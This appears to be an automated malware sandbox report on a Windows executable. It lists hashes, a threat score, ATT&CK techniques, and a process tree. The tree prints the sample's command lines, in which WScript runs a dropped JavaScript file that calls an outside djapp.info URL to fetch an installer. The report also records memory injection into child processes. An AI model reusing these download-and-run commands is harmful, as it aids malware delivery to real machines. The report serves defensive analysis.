94211a42b9df7230021733731a2d27d77ea4dfd90c0cf735eecbe8e3fa77622e

General

Target

3586a1986456dddb0e9f4496e81f2473_JaffaCakes118.exe
Size

184KB
MD5

3586a1986456dddb0e9f4496e81f2473
SHA1

7c99e322ae558aa7fde570267f50c82a15da3489
SHA256

94211a42b9df7230021733731a2d27d77ea4dfd90c0cf735eecbe8e3fa77622e
SHA512

985547afd5f5d47ac81763f81755cc8b40c7ea183c847e9231752a23d6b05b3d044bc4abbb0e78e26279435d1401b4f90a19dd53cd704ae105ac3470923df391
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3r:/7BSH8zUB+nGESaaRvoB7FJNndny

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
3	436	WScript.exe
20	3424	WScript.exe
22	2816	WScript.exe
38	3404	WScript.exe
39	3404	WScript.exe
43	4924	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	3586a1986456dddb0e9f4496e81f2473_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4592	1184	WerFault.exe	80

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings	3586a1986456dddb0e9f4496e81f2473_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1184 wrote to memory of 436	1184	3586a1986456dddb0e9f4496e81f2473_JaffaCakes118.exe	81
PID 1184 wrote to memory of 436	1184	3586a1986456dddb0e9f4496e81f2473_JaffaCakes118.exe	81
PID 1184 wrote to memory of 436	1184	3586a1986456dddb0e9f4496e81f2473_JaffaCakes118.exe	81
PID 1184 wrote to memory of 3424	1184	3586a1986456dddb0e9f4496e81f2473_JaffaCakes118.exe	88
PID 1184 wrote to memory of 3424	1184	3586a1986456dddb0e9f4496e81f2473_JaffaCakes118.exe	88
PID 1184 wrote to memory of 3424	1184	3586a1986456dddb0e9f4496e81f2473_JaffaCakes118.exe	88
PID 1184 wrote to memory of 2816	1184	3586a1986456dddb0e9f4496e81f2473_JaffaCakes118.exe	89
PID 1184 wrote to memory of 2816	1184	3586a1986456dddb0e9f4496e81f2473_JaffaCakes118.exe	89
PID 1184 wrote to memory of 2816	1184	3586a1986456dddb0e9f4496e81f2473_JaffaCakes118.exe	89
PID 1184 wrote to memory of 3404	1184	3586a1986456dddb0e9f4496e81f2473_JaffaCakes118.exe	93
PID 1184 wrote to memory of 3404	1184	3586a1986456dddb0e9f4496e81f2473_JaffaCakes118.exe	93
PID 1184 wrote to memory of 3404	1184	3586a1986456dddb0e9f4496e81f2473_JaffaCakes118.exe	93
PID 1184 wrote to memory of 4924	1184	3586a1986456dddb0e9f4496e81f2473_JaffaCakes118.exe	94
PID 1184 wrote to memory of 4924	1184	3586a1986456dddb0e9f4496e81f2473_JaffaCakes118.exe	94
PID 1184 wrote to memory of 4924	1184	3586a1986456dddb0e9f4496e81f2473_JaffaCakes118.exe	94

C:\Users\Admin\AppData\Local\Temp\3586a1986456dddb0e9f4496e81f2473_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\3586a1986456dddb0e9f4496e81f2473_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1184
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CEA.js" http://www.djapp.info/?domain=dhkDzNIZYr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf3CEA.exe
  2⤵
  - Blocklisted process makes network request
  PID:436
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CEA.js" http://www.djapp.info/?domain=dhkDzNIZYr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf3CEA.exe
  2⤵
  - Blocklisted process makes network request
  PID:3424
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CEA.js" http://www.djapp.info/?domain=dhkDzNIZYr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf3CEA.exe
  2⤵
  - Blocklisted process makes network request
  PID:2816
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CEA.js" http://www.djapp.info/?domain=dhkDzNIZYr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf3CEA.exe
  2⤵
  - Blocklisted process makes network request
  PID:3404
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CEA.js" http://www.djapp.info/?domain=dhkDzNIZYr.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fuf3CEA.exe
  2⤵
  - Blocklisted process makes network request
  PID:4924
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1184 -s 1448
  2⤵
  - Program crash
  PID:4592

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1184 -ip 1184
1⤵
PID:4444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf3CEA.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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